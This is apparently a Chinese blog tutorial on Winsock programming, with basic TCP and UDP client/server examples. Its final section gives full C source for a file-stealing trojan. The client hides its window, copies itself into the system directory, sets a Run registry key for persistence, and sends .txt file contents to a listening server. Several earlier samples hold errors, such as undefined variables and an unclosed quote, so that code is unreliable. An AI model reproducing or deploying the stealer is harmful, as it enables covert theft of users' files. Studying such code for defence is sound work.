当前位置: 首页 > news >正文

2 Windows网络编程

1 基础概念

1.1 socket概念

Socket 的原意是“插座”,在计算机通信领域,socket 被翻译为“套接字”,它是计算机之间进行通信的一种约定或一种方式。Socket本质上是一个抽象层,它是一组用于网络通信的API,包括了一系列的函数和数据结构,它提供了一种标准的网络编程接口,使得应用程序可以在网络中进行数据传输。Socket本身并不是一个具体的实现,而是一个抽象的概念。不同的操作系统和编程语言可以通过不同的方式来实现Socket API.

1.2 什么是 C/S 模式

C/S模式是指Client/Server模式(客户端/服务器模式)。它是一种计算机架构模式,用于描述分布式计算中的两个主要组成部分:客户端和服务器。
客户端是指发起请求的用户或应用程序,它向服务器发送请求并等待服务器的响应。
服务器是指接受客户端请求,并提供相应服务或资源的中央计算机或系统。

1.3 面向连接和面向消息

面向连接的套接字:传输过程中数据不会丢失、按顺序传输、传输过程中不存在数据边界
面向消息的套接字:强调快速传输而非顺序、传输的数据可能丢失也可能销毁、限制每次传输数据的大小

1.4 IP地址和端口

IP地址:是指互联网协议地址,又称网际协议地址。IP地址是IP协议提供的一种统一的地址格式,它为互联网上的每一个网络和每一台主机分配一个逻辑地址,以此来屏蔽物理地址的差异。
Port:为了区分程序中创建的套接字而分配给套接字的序号。

1.5 套接字类型与协议设置

1.SOCK_STREAM(流套接字)
基于TCP协议,提供面向连接、可靠的数据传输方式。TCP协议通过建立连接、数据分段和重传机制等来保证数据的可靠性。由于TCP协议的特性,流套接字适合传输大量数据,如文件传输、网页浏览等。然而,TCP协议并不支持广播和多播,因为这些功能在可靠性方面很难保证。
2.SOCK_DGRAM(数据包套接字)
基于UDP协议,提供无连接的数据传输方式。UDP协议相比TCP协议更加简单,因为它没有连接建立和维护的开销,并且没有拥塞控制机制。UDP适用于实时性要求较高或数据量较小的应用场景,如音频/视频传输、实时游戏等。另外,UDP协议支持广播和多播,可以将一份数据同时发送给多个接收者。
3.SOCK_RAW(原始套接字)
可以读写内核没有处理的IP数据报,可以直接与网络层进行交互,避开了TCP/IP处理机制。原始套接字通常用于网络封包分析、网络扫描、网络安全检测等高级网络功能。

1.6 网络编程基本函数和基本数据结构

1.函数

//1.创建套接字,套接字函数创建绑定到特定传输服务提供程序的套接字。
SOCKET WSAAPI socket([in] int af,//地址系列规范,当前支持的值是AF_INET 或 AF_INET6[in] int type,//套接字类型[in] int protocol//使用的协议
);
//2.套接字与本地IP地址和端口号绑定
int bind(//如果未发生错误, 绑定将返回零。 否则,它将返回SOCKET_ERROR[in] SOCKET         s,// 标识未绑定套接字的描述符。const sockaddr *addr,// 指向要分配给绑定套接字 的本地地址 的 sockaddr 结构的指针。[in] int            namelen// addr 指向的值的长度(以字节为单位
);
//3.请求连接
int WSAAPI connect(// 如果未发生错误, 则连接 返回零。 否则,它将返回SOCKET_ERROR[in] SOCKET         s,// 标识未连接的套接字的描述符。[in] const sockaddr *name,// 指向应建立连接的 sockaddr 结构的指针。[in] int            namelen// name 参数指向的 sockaddr 结构的长度(以字节为单位)
);
//4.侦听连接请求
int WSAAPI listen(// 如果未发生错误, 则连接 返回零。 否则,它将返回SOCKET_ERROR[in] SOCKET s,// 标识绑定的未连接的套接字的描述符。[in] int    backlog// 挂起的连接队列的最大长度
);
//5.接受连接请求
//如果未发生错误, 则 accept 返回 一个 SOCKET 类型的值,该值是新套接字的描述符。 此返回的值是建立实际连接的套接字的句柄。
// 否则,将返回 值 INVALID_SOCKET ,并且可以通过调用 WSAGetLastError 来检索特定的错误代码。
SOCKET WSAAPI accept([in]      SOCKET   s,// 标识绑定的未连接的套接字的描述符。[out]     sockaddr *addr,// 指向接收连接实体地址的缓冲区的可选指针,称为通信层。[in, out] int      *addrlen// 指向包含 addr 参数指向的结构长度的整数的可选指针。
);
//6.往已经连接好的套接字上发送数据
// 如果未发生错误, send 将返回发送的总字节数,该字节数可能小于 len 参数中请求发送的数量。
// 否则,将返回值 SOCKET_ERROR,并且可以通过调用 WSAGetLastError 检索特定的错误代码。
int WSAAPI send([in] SOCKET     s,// 标识连接的套接字的描述符。[in] const char *buf,// 向包含要传输的数据的缓冲区的指针。[in] int        len,// buf 参数指向的缓冲区中的数据的长度(以字节为单位)[in] int        flags// 一组指定调用方式的标志。 
);
//7.从已经建立连接的套接字上接受数据
// 如果未发生错误, send 将返回发送的总字节数,该字节数可能小于 len 参数中请求发送的数量。
// 否则,将返回值 SOCKET_ERROR,并且可以通过调用 WSAGetLastError 检索特定的错误代码。
int recv(// 阻塞函数,即在接收数据之前会一直等待,直到接收到数据或发生超时[in]  SOCKET s,// 标识连接的套接字的描述符。[out] char   *buf,// 向包含要接受的数据的缓冲区的指针。[in]  int    len,// buf 参数指向的缓冲区中的数据的长度(以字节为单位)[in]  int    flags// 一组指定调用方式的标志。 
);
//8.在无连接的套接字上发送数据
// 如果未发生错误, sendto 将返回发送的总字节数,这可能小于 len 指示的数量。 
// 否则,将返回值 SOCKET_ERROR,并且可以通过调用 WSAGetLastError 检索特定的错误代码。
int sendto([in] SOCKET         s,// 标识可能连接的 () 套接字的描述符。[in] const char     *buf,// 指向包含要传输的数据的缓冲区的指针[in] int            len,// buf 参数指向的数据的长度(以字节为单位)。[in] int            flags,// 一组指定调用方式的标志[in] const sockaddr *to,// 指向包含目标套接字地址 的 sockaddr 结构的可选指针。[in] int            tolen// 由 to 参数指向的地址的大小(以字节为单位)。
);
//9.在无连接的套接字上接受数据
int recvfrom([in]                SOCKET   s,// 标识绑定套接字的描述符。[out]               char     *buf,// 指向传入数据的缓冲区的指针[in]                int      len,// buf参数指向的缓冲区的长度(以字节为单位)。[in]                int      flags,// 一组选项,用于修改函数调用的行为,超出为关联套接字指定的选项[out]               sockaddr *from,// 指向 sockaddr 结构中的缓冲区的可选指针,该缓冲区将在返回时保留源地址。[in, out, optional] int      *fromlen// 指向 from 参数指向的缓冲区的大小(以字节为单位)的可选指针。
);
//10.关闭套接字
int close(int sockfd)
//11.
MAKEWORD

2.结构体

//1. SOCKADDR 结构是指定传输地址的泛型结构
typedef struct sockaddr {
#if ...u_short        sa_family;// 16位地址类型2字节的传输地址的地址系列
#elseADDRESS_FAMILY sa_family;
#endifCHAR           sa_data[14];// 包含传输地址数据的14 字节数组:IP+PORT
} SOCKADDR, *PSOCKADDR, *LPSOCKADDR;//2. sockaddr_in表示 IPv4 地址和端口号的信息
typedef struct sockaddr_in {
#if ...short          sin_family;// 传输地址的地址系列。 此成员应始终设置为 AF_INET
#elseADDRESS_FAMILY sin_family;
#endifUSHORT         sin_port;// 16位的传输协议端口号。IN_ADDR        sin_addr;// 32位的包含 IPv4 传输地址 的IN_ADDR 结构。CHAR           sin_zero[8];// 预留给系统使用。 WSK 应用程序应将此数组的内容设置为零。
} SOCKADDR_IN, *PSOCKADDR_IN;//3.In_addr结构表示 IPv4 Internet 地址
// 通过 ​struct in_addr​ 结构体内的 ​S_un​ 成员,我们可以按照不同的需求选择适当的访问方式来表示和操作 IPv4 地址。
// 例如,我们可以使用 ​S_un_b.s_b1​~​S_un_b.s_b4​ 来依次访问 IPv4 的四个字节,也可以使用 ​S_un_w.s_w1​ 和 ​S_un_w.s_w2​ 来访问前两个和后两个字节。
// 另外,如果需要将 IPv4 地址转换成网络字节序的无符号长整型表示,则可以使用 ​S_addr​ 成员。
struct in_addr {union {struct {// 结构体类型,用于按字节访问 IP 地址。u_char s_b1;u_char s_b2;u_char s_b3;u_char s_b4;} S_un_b;struct {// 构体类型,用于按短整型访问 IP 地址。u_short s_w1;u_short s_w2;} S_un_w;u_long S_addr;// 无符号长整型,以网络字节序表示的 IPv4 地址。} S_un;
};

2 TCP连接

在这里插入图片描述

2.1 服务端

代码如下:

#include <WinSock2.h>// 用于支持网络编程。
#include <iostream> 
#pragma comment(lib, "ws2_32.lib") // 告诉编译器链接ws2_32库,以便在编译时找到所需的函数。
#define _WINSOCK_DEPRECATED_NO_WARNINGS// 禁用某些已经过时的函数警告。int main(){// 1.加载套接字库 WORD wVersionRequested; // 请求的Winsock版本WSADATA wsaData; // 用于接收Winsock初始化后的信息。int err; // 错误码wVersionRequested = MAKEWORD(1,1); // 设置请求的Winsock版本为1.1 err = WSAStartup(wVersionRequested, &wsaData);  // 初始化Winsock库,并获取相关信息。if (err != 0) { return err;}// 检查是否成功加载请求的Winsock版本。if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1) { WSACleanup();// 如果版本不匹配,调用WSACleanup函数清理Winsock资源。return -1; }// 新建TCP套接字 SOCKET sockSrv = socket(AF_INET, SOCK_STREAM, 0); SOCKADDR_IN addrSrv;// 表示服务器的地址结构体addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY); // 监听任意本地IP地址addrSrv.sin_family = AF_INET; // 指定地址族为IPv4addrSrv.sin_port = htons(6000); // 绑定套接字到本地 IP 地址,端口号 6000 bind(sockSrv, (SOCKADDR*)& addrSrv, sizeof(SOCKADDR)); // 套接字绑定本地地址listen(sockSrv, 5); // 开始监听客户端连接,设置最大连接数量为5。SOCKADDR_IN addrCli; int len = sizeof(SOCKADDR); while (true) { // 接收客户连接 SOCKET sockConn = accept(sockSrv, (SOCKADDR*)& addrCli, &len); // (SOCKADDR*)&addrCli​ 传递了一个用于存储客户端地址信息的 SOCKADDR 结构体指针,当有客户端成功连接时,会将客户端的地址信息填写到 ​addrCli​ 中。// ​accept​ 函数会阻塞程序执行,直到有客户端发起连接请求。当有连接请求到达时,​accept​ 函数会创建一个新的套接字 ​sockConn​,专门用于与连接到的客户端进行通信。与此同时,它也会填写 ​addrCli​ 结构体,以提供客户端的地址信息。char sendBuf[100]; sprintf_s(sendBuf, 100, "Welcome %s to bingo!", inet_ntoa(addrCli.sin_addr)); //发送数据 len = send(sockConn, sendBuf, strlen(sendBuf) + 1, 0); if (iLen < 0) { printf("recv errorNum = %d\n", GetLastError());return -1;}char recvBuf[100]; //接收数据 len = recv(sockConn, recvBuf, 100, 0); //打印接收的数据 if (iLen < 0){ printf("recv errorNum = %d\n", GetLastError());return -1;}std::cout << recvBuf << std::endl; closesocket(sockConn); }closesocket(sockSrv); WSACleanup(); return 0; 
}

2.2 客户端

代码如下:

#include<WinSock2.h>// 网络编程库
#include<stdio.h>
#include<stdlib.h>
#pragma comment(lib,"ws2_32.lib) // 告诉编译器链接ws2_32库,以便在编译时找到所需的函数
int main(){printf("Client\n"); char sendBuf[] = "hello,world";// 1 初始化网络库WORD wVersionRequested;WSADATA wsaData;int err;wVersionRequested = MAKEWORD(1,1);err = WSAStartup(wVersion, &wsaData); // ​ 初始化和启动 Windows Sockets 库if (err != 0) { return err; }// 检查wsaData的版本是否与期望的一致,LOBYTE(wsaData.wVersion)​// 提取 ​wsaData.wVersion​ 的低字节。​​	// HIBYTE(wsaData.wVersion)​ 提取 ​wsaData.wVersion​ 的高字节if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1) { WSACleanup();return -1; 
}
// 2 创建套接字Socket sockCli = socket(AF_INET,SOCK_STREAM,0);// 服务端的网络结构体的创建与配置SOCKADDR_IN addrSrv;addrSrv.sin_port = htons(6000);addrSrv.sin_family = AF_INET;addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
// 3 连接服务器if(SOCKET_ERROR == connect(sockCli,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR))) {printf("connect errorNum = %d\n", GetLastError()); // 连接失败则返回最近windows捕捉的错误码return -1;}
// 4 发送和接受信息char recvBuf[100] = {0};int len  = recv(sockCli,recvBuf,100,0);if(len < 0) {printf("recv errorNum = %d\n", GetLastError());return -1; }printf("Client recvBuf = %s\n", recvBuf);len = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0);if (iLen < 0) { printf("send errorNum = %d\n", GetLastError()); return -1; }
// 5 关闭套接字closesocket(sockCli);WSACleanup(); system("pause");return 0;
}

2.3 实例结果

服务端:连接客户端后,发送数据与接受客户端的数据,最后打印接收的数据
在这里插入图片描述客户端:连接服务端后,发送数据与接收服务端的数据,打印服务端接受的数据
在这里插入图片描述

3 UDP连接

在这里插入图片描述

3.1 服务端

#include<WinSock2.h>
#include<iostream>#pragma comment(lib,"ws2_32.lib")
using namespace std;
int main() {// 1 初始化网络库WORD wVersion;WSADATA wsaData;int err;wVersion = MAKEWORD(1, 1);err = WSAStartup(wVersion, &wsaData);if (err != 0) {WSACleanup();return err;}// 创建套接字 SOCKET sockSrv = socket(AF_INET, SOCK_DGRAM, 0);SOCKADDR_IN addrSrv; // 服务端网络结构体addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY); addrSrv.sin_family = AF_INET; addrSrv.sin_port = htons(6001); // 绑定套接字 bind(sockSrv, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR)); // 等待并接收数据 SOCKADDR_IN addrCli; // 客户端结构体int len = sizeof(SOCKADDR_IN);char recvBuf[100]; char sendBuf[100]; while (true) { recvfrom(sockSrv, recvBuf, 100, 0, (SOCKADDR*)&addrCli, &len);std::cout << recvBuf << std::endl; sprintf_s(sendBuf, 100, "Ack %s", recvBuf); sendto(sockSrv, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)&addrCli, len);}// 关闭套接字closesocket(sockSrv); WSACleanup();system("pause"); return 0;
}

3.2 客户端

#include<WinSock2.h>
#include<iostream>#pragma comment(lib,"ws2_32.lib")
using namespace std;
int main() {// 1 初始化网络库WORD wVersion;WSADATA wsaData;int err;wVersion = MAKEWORD(1, 1);err = WSAStartup(wVersion, &wsaData);if (err != 0) {WSACleanup();return err;}// 创建套接字 SOCKET sockCli = socket(AF_INET, SOCK_DGRAM, 0);SOCKADDR_IN addrSrv;// 服务端网络结构体addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); addrSrv.sin_port = htons(6001); addrSrv.sin_family = AF_INET; int len = sizeof(SOCKADDR);char sendBuf[] = "hello";char recvBuf[100]; //发送数据 sendto(sockCli, sendBuf, strlen(sendBuf) + 1, 0, (SOCKADDR*)& addrSrv, len);recvfrom(sockCli, recvBuf, 100, 0, (SOCKADDR*)& addrSrv, &len); std::cout << recvBuf << std::endl; closesocket(sockCli); system("pause");return 0; 
}

3.3 实例结果

服务端
在这里插入图片描述客户端
在这里插入图片描述

4 案例之网络文件截取

4.1 相关结构体与函数

// 1 用于描述文件或目录的属性和信息
typedef struct _WIN32_FIND_DATAW {DWORD    dwFileAttributes;// 文件的文件属性。FILETIME ftCreationTime;// 指定创建文件或目录的时间。FILETIME ftLastAccessTime;// 对于文件,结构指定上次从中读取、写入文件或运行可执行文件的运行时间FILETIME ftLastWriteTime;// 对于文件,结构指定文件的上次写入、截断或覆盖时间,DWORD    nFileSizeHigh;// 文件大小的高阶 DWORD 值(以字节为单位)DWORD    nFileSizeLow;// 文件大小的低序 DWORD 值(以字节为单位)DWORD    dwReserved0;DWORD    dwReserved1;WCHAR    cFileName[MAX_PATH];// 文件的名称WCHAR    cAlternateFileName[14];// 文件的可选名称DWORD    dwFileType; // Obsolete. Do not use.DWORD    dwCreatorType; // Obsolete. Do not useWORD     wFinderFlags; // Obsolete. Do not use
} WIN32_FIND_DATAW, *PWIN32_FIND_DATAW, *LPWIN32_FIND_DATAW;
// 2 用于在指定的目录中查找与指定的文件名匹配的第一个文件或目录
HANDLE FindFirstFile([in]  LPCTSTR             lpFileName,// 指定要搜索的文件或目录的路径和文件名。可以包含通配符。[out] LPWIN32_FIND_DATA   lpFindFileData// 指向 ​WIN32_FIND_DATA​ 结构体(或 ​_WIN32_FIND_DATAW​ 结构体)的指针,用于接收查找到的文件或目录的信息。
);
// 3 用于继续在指定的目录中查找与上一次调用 ​FindFirstFile​ 或 ​FindNextFile​ 函数匹配的下一个文件或目录。
BOOL FindNextFile([in] HANDLE             hFindFile,// 搜索句柄,由之前的 ​FindFirstFile​ 或 ​FindNextFile​ 函数返回
[out] LPWIN32_FIND_DATA  lpFindFileData// 指向 ​WIN32_FIND_DATA​ 结构体(或 ​_WIN32_FIND_DATAW​ 结构体)的指针,用于接收查找到的文件或目录的信息。
);
// 用于获取当前处于前台(活动)状态的窗口的句柄
HWND GetForegroundWindow();
// 用于显示或隐藏指定窗口。
BOOL ShowWindow(HWND hWnd, int nCmdShow);// hwnd是窗口的句柄;nCmdShow代表指定窗口显示状态
// 用于获取指定模块的文件名
DWORD GetModuleFileName(_In_opt_ HMODULE hModule,// 文件名的模块的句柄_Out_    LPTSTR  lpFilename,// 获取到的模块文件名的缓冲区,以字符串形式存储_In_     DWORD   nSize// 指定缓冲区的大小(字符数),要预留足够的空间来存储完整的文件名
);
// 将一个文件复制到指定位置。
BOOL CopyFile(_In_  LPCTSTR lpExistingFileName,// 要复制的文件的路径和文件名_In_  LPCTSTR lpNewFileName,// 指定复制后的文件路径和文件名_In_  BOOL    bFailIfExists// 如果新文件已经存在,是否失败。如果设置为 TRUE,则如果目标文件已经存在,则取消复制操作。如果设置为 FALSE,则重写目标文件
);
// 用于打开一个指定的注册表项。
LSTATUS RegOpenKeyEx(_In_      HKEY    hKey,// 要打开的注册表的父项句柄。_In_opt_  LPCTSTR lpSubKey,// 要打开的注册表项的相对路径_In_      DWORD   ulOptions,// 打开选项。常用的选项包括 ​REG_OPTION_OPEN_LINK​、​REG_OPTION_BACKUP_RESTORE​ 和 ​REG_OPTION_CREATE_LINK​ 等。一般可以设置为 0。_In_      REGSAM  samDesired,// 访问权限标志。用于指定打开注册表项的访问权限,例如读取或修改。_Out_     PHKEY   phkResult// 返回打开的注册表项的句柄。
);
// 用于关闭一个打开的注册表项
LSTATUS RegCloseKey(_In_ HKEY hKey// 要关闭的注册表项的句柄。
);
// 设置注册表中指定键的值。
LSTATUS RegSetValueEx(_In_       HKEY    hKey,// 要设置值的注册表键的句柄_In_opt_   LPCTSTR lpValueName ,// 要设置的值的名称_Reserved_ DWORD   Reserved,//保留参数,必须设置为 0。_In_       DWORD   dwType,// 要设置的值的数据类型_In_       const BYTE    *lpData,// 要设置的值的数据。_In_       DWORD   cbData// 要设置的值的数据大小,以字节为单位
);
// 在指定路径中查找匹配指定模式的第一个文件
intptr_t _findfirst(const char* filespec,// 要查找的文件规则或路径,可以使用通配符进行匹配。struct _finddata_t* fileinfo// 用于存储查找到的文件信息的结构体指针
);

4.2 目的:客户端窃取指定目录下后缀为.txt文件内容,并将文件内容传输至服务端,服务端接收客户端传来的数据。

4.3客户端

#include <stdio.h>
#include <windows.h> 
#include <io.h> #pragma comment(lib, "ws2_32.lib")
int SendtoServer(const char* path) {//0 初始化网络库 // 加载套接字库 WORD wVersionRequested;WSADATA wsaData;int err;char sendBuf[1024] = {0};wVersionRequested = MAKEWORD(2, 2); // 1、初始化套接字库err = WSAStartup(wVersionRequested, &wsaData);if (err != 0) { printf("WSAStartup errorNum = %d\n", GetLastError());system("pause");return err;}if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) { printf("LOBYTE errorNum = %d\n", GetLastError());WSACleanup();system("pause");return -1;}// 2 安装电话机 // 新建套接字 SOCKET sockCli = socket(AF_INET, SOCK_STREAM, 0);if (INVALID_SOCKET == sockCli) {printf("socket errorNum = %d\n", GetLastError()); system("pause"); return -1;}SOCKADDR_IN addrSrv;addrSrv.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");addrSrv.sin_family = AF_INET;addrSrv.sin_port = htons(6000); // 3 连接服务器 if (SOCKET_ERROR == connect(sockCli, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR))) { printf("connect errorNum = %d\n", GetLastError()); system("pause"); return -1; }// 4 读取文件内容 FILE* fp = fopen(path, "rb"); int len = fread(sendBuf, 1, 1024, fp);fclose(fp);// 5 发送数据 int iLen = send(sockCli, sendBuf, strlen(sendBuf) + 1, 0); if (iLen < 0) { printf("send errorNum = %d\n", GetLastError()); system("pause");return -1;}// 关闭套接字closesocket(sockCli);//WSACleanup(); return 0;
}
int DoSteal(const char* szPath) { // 1 遍历 szPath 下所有的文件 WIN32_FIND_DATA FindFileData;// FindFileData 表示文件HANDLE hListFile; //文件用句柄来标识,编号 char szFilePath[MAX_PATH] = {0}; strcpy(szFilePath, szPath);strcat(szFilePath, "\\*"); // 2 首先找到第一个文件,用 hListFile 标识 hListFile = FindFirstFile(szFilePath, &FindFileData); // 3 循环遍历所有文件 do{ char mypath[MAX_PATH] = { 0 }; strcpy(mypath, szPath); strcat(mypath, FindFileData.cFileName); if (strstr(mypath, ".txt")) //txt 文件 { //真真正正开始窃取文件printf("mypath = %s\n", mypath);SendtoServer(mypath);} } while (FindNextFile(hListFile, &FindFileData));//FindNextFile 的返回值为 NULL,退出循环 return 0; 
}
// 加入注册表
void AddToSystem() {// 0 定义变量HKEY hKEY; char CurrentPath[MAX_PATH]; char SysPath[MAX_PATH]; long ret = 0; LPSTR FileNewName; LPSTR FileCurrentName; DWORD type = REG_SZ; DWORD size = MAX_PATH;LPCTSTR Rgspath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";//regedit win + R GetSystemDirectory(SysPath, size);GetModuleFileName(NULL, CurrentPath, size);//Copy File FileCurrentName = CurrentPath;// 当前程序的路径FileNewName = lstrcat(SysPath, "\\Steal.exe");// 拼接出复制后文件的路径// 1 检查是否已经复制了目标文件。如果已经复制,则直接退出程序。struct _finddata_t Steal;printf("ret1 = %d,FileNewName = %s\n", ret, FileNewName);if (_findfirst(FileNewName, &Steal) != -1) return;//已经安装!printf("ret2 = %d\n", ret); // 2 弹出一个警告框,提醒用户该程序将使计算机处于被监控状态int ihow = MessageBox(0, "该程序只允许用于合法的用途!\n 继续运行该程序将使这台机器 处于被监控的状态!\n 如果您不想这样,请按“取消”按钮退出。\n 按下“是”按钮该程序将被复制 到您的机器上,并随系统启动自动运行。\n 按下“否”按钮,程序只运行一次,不会在您的系统内留下 任何东西。","警告", MB_YESNOCANCEL | MB_ICONWARNING | MB_TOPMOST);if (ihow == IDCANCEL) exit(0);if (ihow == IDNO) return;//只运行一次 // 3 复制文件,复制当前程序文件到目标文件。ret = CopyFile(FileCurrentName, FileNewName, TRUE); if (!ret) {return; }// 4 加入注册表printf("ret = %d\n", ret);ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE, Rgspath, 0, KEY_WRITE, &hKEY);// 打开注册表项if (ret != ERROR_SUCCESS){RegCloseKey(hKEY);return;}// 5 设置注册表项的值为复制后的文件路径ret = RegSetValueEx(hKEY, "Steal", NULL, type, (const unsigned char*)FileNewName, size);if (ret != ERROR_SUCCESS) { RegCloseKey(hKEY); return; }// 6 关闭注册表RegCloseKey(hKEY);
}
// 隐藏本窗口
void HideMyself() { // 拿到当前的窗口句柄HWND hwnd = GetForegroundWindow();// 隐藏本窗口ShowWindow(hwnd, SW_HIDE); 
}
int main() {printf("Steal\n");// 隐藏自身 HideMyself();// 添加到启动项 AddToSystem();// 指定文件路径去截取文件DoSteal("D:\\code\\cpp\\stealtest\\");return 0;
}

4.4 服务端

#include <stdio.h> 
#include <windows.h> 
#pragma comment(lib, "ws2_32.lib")
#define MAX_SIZE 1024 
//控制台打印错误码的函数 
void ErrorHanding(const char *msg) 
{ fputs(msg, stderr);fputc('\n', stderr);exit(1); 
}
int main()
{ WORD wVersionRequested; WSADATA wsaData; int err; char msg[MAX_SIZE] = { 0 };wVersionRequested = MAKEWORD(2, 2);// 1、初始化套接字库 err = WSAStartup(wVersionRequested, &wsaData);if (err != 0) { ErrorHanding("WSAStartup error"); }if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) { printf("LOBYTE errorNum = %d\n", GetLastError()); WSACleanup();ErrorHanding("LOBYTE error"); return -1; }// 2 建立 socketSOCKET hServerSock = socket(PF_INET, SOCK_STREAM, 0);if (INVALID_SOCKET == hServerSock) {ErrorHanding("socket error"); }SOCKADDR_IN addrSrv; addrSrv.sin_addr.S_un.S_addr = htonl(INADDR_ANY);addrSrv.sin_family = AF_INET;addrSrv.sin_port = htons(6000); // 3 分配电话号码 // 绑定套接字到本地 IP 地址,端口号 9527 if (SOCKET_ERROR == bind(hServerSock, (SOCKADDR*)&addrSrv, sizeof(SOCKADDR))) {ErrorHanding("socket error"); }// 4、监听 listenif (SOCKET_ERROR == listen(hServerSock, 5)){ ErrorHanding("listen error"); }SOCKADDR_IN addrCli; int cliAdrSize = sizeof(SOCKADDR_IN);SOCKET cliSock;int strLen = 0;// 5 循环接收数据 while(TRUE) { cliSock = accept(hServerSock, (SOCKADDR*)&addrCli, &cliAdrSize); if (SOCKET_ERROR == cliSock) { ErrorHanding("accept error");}memset(msg, 0, MAX_SIZE); while ((strLen = recv(cliSock, msg, MAX_SIZE, 0)) != 0) { printf("Server msg = %s\n",msg);}closesocket(cliSock);}closesocket(hServerSock);WSACleanup();return 0;
}

4.5 结果展示

客户端:将本程序加入注册表,隐藏控制台窗口,读取指定路径下特定文件的内容,发送给服务端
在这里插入图片描述服务端控制台输出得到的数据(乱码问题没解决)
在这里插入图片描述

相关文章:

2 Windows网络编程

1 基础概念 1.1 socket概念 Socket 的原意是“插座”&#xff0c;在计算机通信领域&#xff0c;socket 被翻译为“套接字”&#xff0c;它是计算机之间进行通信的一种约定或一种方式。Socket本质上是一个抽象层&#xff0c;它是一组用于网络通信的API&#xff0c;包括了一系列…...

uniapp选择android非图片文件的方案踩坑记录

这个简单的问题我遇到下面6大坑&#xff0c;原始需求是选择app如android的excel然后读取到页面并上传表格数据json 先看看效果 uniapp 选择app excel文件读取 1.uniapp自带不支持 uniapp选择图片和视频非常方便自带已经支持可以直接上传和读取 但是选择word excel的时候就出现…...

前端发开的性能优化 请求级:请求前(资源预加载和预读取)

预加载 预加载&#xff1a;是优化网页性能的重要技术&#xff0c;其目的就是在页面加载过程中先提前请求和获取相关的资源信息&#xff0c;减少用户的等待时间&#xff0c;提高用户的体验性。预加载的操作可以尝试去解决一些类似于减少首次内容渲染的时间&#xff0c;提升关键资…...

B01、类加载子系统-02

JVM架构图-英文版 中文版见下图&#xff1a; 1、概述类的加载器及类加载过程 1.1、类加载子系统的作用 类加载器子系统负责从文件系统或者网络中加载Class文件,class文件在文件开头有特定的文件标识。ClassLoader只负责class文件的加载,至于它是否可以运行,则由Execution Engi…...

用PHP搭建一个绘画API

【腾讯云AI绘画】用PHP搭建一个绘画API 大家好&#xff01;今天我要给大家推荐的是如何用PHP搭建一个绘画API&#xff0c;让你的网站或应用瞬间拥有强大的绘画能力&#xff01;无论你是想要让用户在网页上绘制自己的创意&#xff0c;还是想要实现自动绘画生成特效&#xff0c;这…...

西安人民检察院 | OLED翻页查询一体机

产品&#xff1a;55寸OLED柔性屏 项目时间&#xff1a;2023年12月 项目地点&#xff1a;西安 在2023年12月&#xff0c;西安人民检察院引入了OLED翻页查询一体机&#xff0c;为来访者提供了一种全新的信息查询方式。 这款一体机采用55寸OLED柔性屏&#xff0c;具有高清晰度、…...

superset利用mysql物化视图解决不同数据授权需要写好几次中文别名的问题

背景 在使用superset时&#xff0c;给不同的人授权不同的数据&#xff0c;需要不同的数据源&#xff0c;可视化字段希望是中文&#xff0c;所以导致不同的人需要都需要去改表的字段&#xff0c;因此引入视图&#xff0c;将视图中字段名称设置为中文 原表数据 select * from …...

输入输出流

1.输入输出流 输入/输出流类&#xff1a;iostream---------i input&#xff08;输入&#xff09; o output&#xff08;输出&#xff09; stream&#xff1a;流 iostream&#xff1a; istream类&#xff1a;输入流类-------------cin&#xff1a;输入流类的对象 ostream类…...

IOS:Safari无法播放MP4(H.264编码)

一、问题描述 MP4使用H.264编码通常具有良好的兼容性&#xff0c;因为H.264是一种广泛支持的视频编码标准。它可以在许多设备和平台上播放&#xff0c;包括电脑、移动设备和流媒体设备。 使用caniuse查询H.264兼容性&#xff0c;看似确实具有良好的兼容性&#xff1a; 然而…...

Pycharm恢复默认设置

window 系统 找到下方目录-->删除. 再重新打开Pycharm C:\Users\Administrator\.PyCharm2023.3 你的不一定和我名称一样 只要是.PyCharm*因为版本不同后缀可能不一样 mac 系统 请根据需要删除下方目录 # Configuration rm -rf ~/Library/Preferences/PyCharm* # Caches …...

简单计算器实现,包括两个数

正在加载中... 简单计算器实现&#xff0c;包括两个数 ❤ 厾罗 简单计算器实现&#xff0c;包括两个数 以下代码用于实现简单计算器实现&#xff0c;包括两个数基本的加减乘除运算&#xff1a; 实例(Python 3.0) # Filename : test.py # author by : www.dida100.com …...

竞赛保研 基于机器视觉的手势检测和识别算法

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 基于深度学习的手势检测与识别算法 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&#xff01; &#x1f9ff; 更多资料, 项目分享&#xff1a; https://gitee.com/dancheng…...

Android App从备案到上架全过程

不知道大家注意没有,最近几年来,新的移动App想要上架是会非常困难的,并且对于个人开发者和小企业几乎是难如登天,各种备案和审核。但是到底有多难,或许只有上架过的才会有所体会。 首先是目前各大应用市场陆续推出新的声明,各种备案截止日期到12月就要到最后期限责令整改…...

用邮件及时获取变更的公网IP--------python爬虫+打包成exe文件

参考获取PC机公网IP并发送至邮箱 零、找一个发送邮件的邮箱 本文用QQ邮箱为发送邮箱&#xff0c;网易等邮箱一般也有这个功能&#xff0c;代码也是通用的。 第一步&#xff1a;在设置中找到账户&#xff0c;找到POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务&#xff0c;点击获…...

c++学习:函数模板+实战

目录 函数模板 思考 如果两个参数的类型不一样可以下面这么写 如果有指定返回参数可以下面这么写 实战 找出三个数中最大的一个 函数模板 实际上就是建立一个通用函数&#xff0c;其函数返回值类型和形参类型不具体指定&#xff0c;用一个虚拟的类型来代表template 是一个…...

three.js gltf后处理颜色异常(伽马校正)

